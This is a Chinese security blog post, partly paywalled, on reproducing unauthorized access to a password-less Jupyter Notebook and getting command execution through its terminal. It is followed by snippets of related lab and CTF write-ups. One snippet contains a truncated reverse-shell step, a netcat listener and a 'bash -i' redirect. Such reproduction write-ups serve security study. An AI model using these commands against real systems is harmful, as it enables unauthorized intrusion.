【漏洞复现】Jupyter Notebook未授权访问到RCE

已于 2024-06-20 13:20:16 修改
阅读量584 收藏
点赞数
CC 4.0 BY-SA版权
分类专栏： 【漏洞复现】 文章标签： jupyter 漏洞复现 渗透测试 护网漏洞 Nday 0day JupyterNotebook
于 2024-06-20 13:19:55 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/Fly_hps/article/details/139829852

影响范围

Jupyter Notebook

漏洞简介

Jupyter Notebook(此前被称为IPython notebook)是一个交互式笔记本，支持运行40多种编程语言，Jupyter Notebook的本质是一个Web应用程序，便于创建和共享程序文档，支持实时代码，数学方程，可视化和 markdown，如果管理员未为Jupyter Notebook配置密码将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令

漏洞复现

应用页面如下所示：

在进入面板之后选择"New-Terminal"进入终端

随后可以执行任意命令：

了解本专栏 订阅专栏 解锁全文
Jupyter Notebook 未授权访问远程命令执行漏洞
失心少年
08-06 1167
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。笔记本可以包含代码、注释、图表、公式和可运行的代码块。Jupyter是一个开源的交互式计算环境，它支持多种编程语言，包括Python、R、Julia等。如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令。
未授权访问：Jupyter Notebook 未授权访问漏洞
qq_68163788的博客
05-21 1178
Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。 如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令。
Jupyter NoteBook未授权访问漏洞
weixin_53736204的博客
08-04 456
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本，支持运行 40多种编程语言。如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令，默认端口:8888。
Jupyter Notebook 未授权访问漏洞
weixin_51387754的博客
11-09 769
漏洞原理 Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。 如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令。 漏洞复现 使用vulhub进入目录 (root????guiltyfet)-[/home/guiltyfet/vulhub] └─# cd jupyter
漏洞复现----25、Jupyter Notebook 未授权访问漏洞
七天
07-09 2767
文章目录Jupyter Notebook 未授权访问漏洞一、运行环境二、漏洞复现三、漏洞防御 Jupyter Notebook 未授权访问漏洞 Jupyter Notebook（此前被称为 IPython notebook）是基于网页的用于交互计算的应用程序，是一个交互式笔记本，支持运行 40 多种编程语言。Jupyter Notebook是以网页的形式打开，可以在网页页面中直接编写代码和运行代码，代码的运行结果也会直接在代码块下显示。 如果管理员未为Jupyter Notebook配置密码，将导致未授
Jupyter Notebook 未授权访问漏洞总结
qq_45746681的博客
10-05 2097
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录前言一、Jupyter Notebook 未授权访问漏洞是什么？二、复现1.搭建环境漏洞利用三、防御方法 前言 记录并自己复现下常见的未授权访问漏洞 一、Jupyter Notebook 未授权访问漏洞是什么？ Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。 如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中
记录一次vulhub：Jupyter Notebook 未授权访问漏洞复现
sszsNo1的博客
06-27 657
复现vulhub：Jupyter Notebook 未授权访问漏洞
BUUCTF-Real-[Jupyter]notebook-rce
分享
02-13 840
[Jupyter]notebook的简单漏洞！
利用Vulnhub复现漏洞 - Jupyter Notebook 未授权访问漏洞
JiangBuLiu的博客
07-12 2305
Jupyter Notebook 未授权访问漏洞Vulnhub官方复现教程漏洞原理复现过程启动环境漏洞复现我滴个神呀 Vulnhub官方复现教程 https://vulhub.org/#/environments/jupyter/notebook-rce/ 漏洞原理 Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。 ...
jupyter-notebook 命令执行 （CVE-2019-9644）漏洞复现
weixin_42675091的博客
09-23 1524
jupyter-notebook 命令执行 （CVE-2019-9644）漏洞复现
#漏洞复现#--Jupyter Notebook未授权访问 getshell
2201_75578072的博客
11-06 410
Jupyter Notebook（此前被称为 IPython notebook）是基于网页的用于交互计算的应用程序，是一个交互式笔记本，支持运行 40 多种编程语言。Jupyter Notebook是以网页的形式打开，可以在网页页面中直接编写代码和运行代码，代码的运行结果也会直接在代码块下显示。
buuctf [Jupyter]notebook-rce
qq_1873822的博客
03-21 1198
Jupyter Notebook 未授权访问漏洞 Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多加粗样式种编程语言。 如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令。 复现 在Terminal 创建控制台处可以执行任意命令 env打印环境变量 反弹shell 本机监听 nc -lvp 5555 # 目标执行 bash -i &g
八、【漏洞复现】jupyter-notebook 命令执行（CVE-2019-9644）
weixin_52351575的博客
09-21 646
​Jupyter Notebook是一套用于创建、共享代码和说明性文本文档的开源Web应用程序。(可能出现的问题：terminal无法打开，也就是一个空白页面【过几天再重启靶场就是好的了】)Jupyter Notebook可直接使用命令行执行任意命令。打开控制台进行命令输入​指令，这里我们输入ls /tmp。点击new---->terminal。2.网站图标 jupyter。（这种情况基本上很难遇到）未授权开启终端权限的系统。1.有主页与明显logo。3.指纹识别工具探测。
【漏洞复现-jupyter_notebook-命令执行】vulfocus/jupyter_notebook-cve_2019_9644
10-24 2043
【jupyter_notebook-命令执行】功能点
rce漏洞复现
最新发布
03-28
远程代码执行（Remote Code Execution, RCE）是一种高危漏洞，允许攻击者在未授权的情况下，在目标系统的上下文中运行任意代码。这种类型的漏洞通常存在于网络服务、Web 应用程序或其他暴露在网络中的软件中。 ####...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值